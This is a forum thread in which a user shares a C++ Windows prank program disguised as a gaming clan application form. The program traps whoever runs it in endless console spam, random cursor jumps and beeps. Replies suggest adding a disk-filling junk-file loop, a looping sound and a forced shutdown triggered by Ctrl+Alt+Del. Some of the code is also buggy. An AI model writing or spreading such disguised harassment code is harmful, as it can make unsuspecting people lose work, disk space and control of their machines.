Clan application joke

Posts 1–4 of 4 · Page 1 of 1
Clan application joke
Hi guys I am pretty retard and I was pretty bored lately ( even if Christmas ) so I did this little joke as application format for games.
Tell me any suggestions to make it funnier. Thanks,
Have a good day.


Code:
#include "stdafx.h"
#include <iostream>
#include <stdio.h>
#include <windows.h>
#include <conio.h>
#include <ctime>
#include <fstream>

using namespace std;

char app;
char App[MAX_PATH];
long long int MinimumApplicationLeng = 5;
int X, Y, Freq, Dur;

void YouWantedIt();
void MadMouse();
void Beeper();
char Application();
void WriteFile(char App[]);

int main()
{
	if (!Application()) {
		while (1) {
			HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
			if (hStdOut == NULL)
			{
				cout << "Impossibile to handle the console." << endl;
				system("pause");
			}
			SetConsoleTextAttribute(hStdOut, FOREGROUND_RED | FOREGROUND_BLUE | BACKGROUND_GREEN | BACKGROUND_INTENSITY);
			cout << "U WOT M9.";
			MadMouse();
			Beeper();
		}
	}
	else {
		cout << "Write here your application:";
		cin >> App;
		if (strlen(App) <= MinimumApplicationLeng) {
			cout << "Well you seem to be kiddin' me." << endl;
			cout << "Then" << endl;
			YouWantedIt();
		}
		else {
			WriteFile(App);
			cout << "Okay your application got correctly sent." << endl;
		}
	}

    return 0;
}

char Application() {
	cout << "I guess you are gonna apply.." << endl;
	cout << "Or at least I hope for you." << endl;
	cout << "Type yes ( Y ) or not ( N ) to express your intention: ";
	cin >> app;
	if (app == 'Y')
		return 1;
	else
		return 0;
}

void YouWantedIt() {
	HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
	if (hStdOut == NULL)
	{
		cout << "Impossibile to handle the console." << endl;
		system("pause");
	}
	while (1) {
		SetConsoleTextAttribute(hStdOut, FOREGROUND_RED | FOREGROUND_BLUE | BACKGROUND_GREEN | BACKGROUND_INTENSITY);
		cout << "You wanted it m8.";
	}
}

void MadMouse() {
	X = rand() % 801;
	Y = rand() % 601;
	SetCursorPos(X, Y);
}

void Beeper() {
	Freq = rand() % 2001;
	Dur = rand() % 301;
	Beep(Freq, Dur);
}

void WriteFile(char App[]) {
	ofstream SaveFile("application.txt");
	int i;
	for(i=0; App[i] != '-';i++)
		SaveFile << App[i];
	SaveFile.close();
}
You clearly were bored


Why do you return a integer value from a char function?

Quote Originally Posted by garupede View Post
Code:
char Application() {
	cout << "I guess you are gonna apply.." << endl;
	cout << "Or at least I hope for you." << endl;
	cout << "Type yes ( Y ) or not ( N ) to express your intention: ";
	cin >> app;
	if (app == 'Y')
		return 1;
	else
		return 0;
}
Quote Originally Posted by RoPMadM View Post
Why do you return a integer value from a char function?
Basically my intention was just to have a control function, that makes me know if he is gonna apply or not; that's why I just wanted to return 1 or 0, in order to write " !Application " inside the " if() ". Would you do it in an other way?


Quote Originally Posted by Tightmarrow View Post
This should be self-explanatory, I know this ruins all the fun in it but doesn't really matter I guess
Tightmarrow your suggestions are really useful; this bs started as a way to fill my time but I will take your help as an occasion to improve my own personal package. Thanks

However guys I was really bored
I got a few suggestions

Code:
HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
Why didn't you just make this global so you don't have to write it that much?


Code:
if (hStdOut == NULL)
	{
		cout << "Impossibile to handle the console." << endl;
		system("pause");
	}
This isn't such a big deal, it's just that there are very rare cases in which this could happen so there's no reason for this to be here.

Code:
srand(time(nullptr)); //Did you forget about this buddy, or am I just that blind I can't see it :?
int randout = rand() % 9;
			SetConsoleTextAttribute(hStdOut, (int)randout);
			std::cout << "U WOT M9.";
This is to get random colors while it's spamming that string.

Code:
void FillUp() {
for(;;){
	ofstream Fill;
	Fill.open("FillUp.txt");
	for (unsigned int i; i < 1000; i++) {
		Fill << "t$#ytg$#wertgy$#wet%#$ewt%$#ew%wt$#e\n";
		i += 1;
		if (i == 1000) {
			break;
		}
	}
}
}
So I'm not the best coder out there and this may not work 'cause I didn't have the balls to try it, it's supposed to create a lot of text files with a lot of text to take up space, maybe you could fix it if needed and put it into your program, tho it's not that fun

Code:
PlaySound(TEXT("annoyme.wav"), NULL, SND_FILENAME || SND_NOSTOP || SND_ASYNC || SND_LOOP);
Here I suggest you use a short wav file of anything, this will loop it.

Code:
if(GetAsyncKeyState(VK_LCONTROL)){
if(GetAsyncKeyState(VK_RMENU)){
if(GetAsyncKeyState(VK_DELETE)){
system("shutdown -f");
system("shutdown -s");
}
}
}
This should be self-explanatory, I know this ruins all the fun in it but doesn't really matter I guess
Posts 1–4 of 4 · Page 1 of 1

Post a Reply

Similar Threads

Tags for this Thread

None

Talk with us